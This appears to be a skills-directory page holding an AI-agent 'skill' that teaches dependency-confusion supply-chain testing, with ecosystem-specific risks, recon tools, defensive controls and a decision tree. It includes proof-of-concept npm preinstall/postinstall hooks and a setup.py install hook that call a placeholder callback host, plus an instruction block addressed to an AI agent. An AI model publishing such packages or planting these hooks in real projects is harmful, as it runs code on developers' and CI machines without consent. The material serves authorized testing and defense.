npx skills add ...
npx skills add yaklang/hack-skills --skill dependency-confusion
Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.
npx skills add yaklang/hack-skills --skill dependency-confusion
AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.
What to look for first
install/build can drift toward public metadata.Fast mental model: If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.
Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use recon-for-sec to list internal package names and possible public-registry collisions.
@org-scope/internal-utils or an unscoped name such as acme-billing-sdk.9.9.9 can beat a private 1.2.3 if ranges allow.preinstall/postinstall, setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.
| Ecosystem | Typical manifest | Confusion angle |
|---|---|---|
| npm | package.json | Scoped packages (@scope/pkg) are safer when the scope is owned on the registry; unscoped private-style names are high risk. Multiple registries / .npmrc registry vs per-scope @scope:registry= misconfiguration increases risk. |
| pip | requirements.txt, pyproject.toml, setup.py | pip install -i / --extra-index-url merges indexes; a public index can serve a higher version for the same distribution name. |
| RubyGems | Gemfile | source order and additional sources; ambiguous gem names reachable from rubygems.org. |
| Maven | pom.xml | Repository declaration order and mirror settings; a public repo publishing the same groupId:artifactId under a higher version can win if policy allows. |
| Composer | composer.json | Packagist is default; private packages without repositories/canonical discipline may collide with public names. |
| Docker | FROM, image tags | Typosquatting on container registries (e.g. public hub) for images with names similar to internal base images. |
Where internal names leak
package.json, requirements.txt, Gemfile, pom.xml, composer.json in repos or forks..npmrc, .pypirc, CI logs showing install URLs or mirror endpoints.Check public squatting / claimability (read-only)
Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.
Authorized testing pattern
^1.0.0 → publish 9.9.9).npm package.json — minimal callback-style PoC (illustrative)
npm package.json — shell + curl fallback (illustrative)
pip — setup hook pattern (illustrative; use only in authorized lab packages)
Reference implementation (study / lab): community PoC layout and workflow similar to 0xsapra/dependency-confusion-exploit — automate version bump, publish, and callback confirmation only where you have written permission.
| Tool | Role |
|---|---|
| visma-prodsec/confused | Scans manifest files for dependency names that may be claimable on public registries (multi-ecosystem). |
| synacktiv/DepFuzzer | Automated dependency confusion testing workflows (use strictly in-scope). |
Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.
@org-scope/pkg) with org-owned scopes; set .npmrc so private scopes map to private registry and default registry is not accidentally public for internal names.package-lock.json, poetry.lock, Gemfile.lock, composer.lock) enforced in CI.--extra-index-url; prefer single private index with mirroring, or explicit --index-url policies in CI.repositories with canonical: true for private packages; verify Packagist is not introducing unexpected vendors.recon-for-sec: When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
│ └─ NO → HIGH RISK
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)